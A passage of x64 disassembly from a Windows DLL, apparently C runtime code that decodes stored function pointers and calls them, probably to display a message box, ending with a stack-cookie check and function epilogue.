call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x180017678], rax
jmp 0x18000dbfe
mov rax, qword [0x180017678]
jmp 0x18000dc05
mov rax, qword [0x180017678]
mov r11, qword [0x180017680]
cmp rax, rdi
je 0x18000dc6c
cmp r11, rdi
je 0x18000dc6c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x180017680]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x18000dc6c
test rax, rax
je 0x18000dc6c
call rsi
test rax, rax
je 0x18000dc66
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x18000dc66
test byte [rsp + 0x40], 1
jne 0x18000dc6c
bts ebp, 0x15
jmp 0x18000dcac
mov rcx, qword [0x180017668]
cmp rcx, rdi
je 0x18000dcac
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x18000dcac
call rax
mov rbx, rax
test rax, rax
je 0x18000dcac
mov rcx, qword [0x180017670]
cmp rcx, rdi
je 0x18000dcac
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x18000dcac
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x180017660]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x18000dcce
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x18000dcd0
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180001a00
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret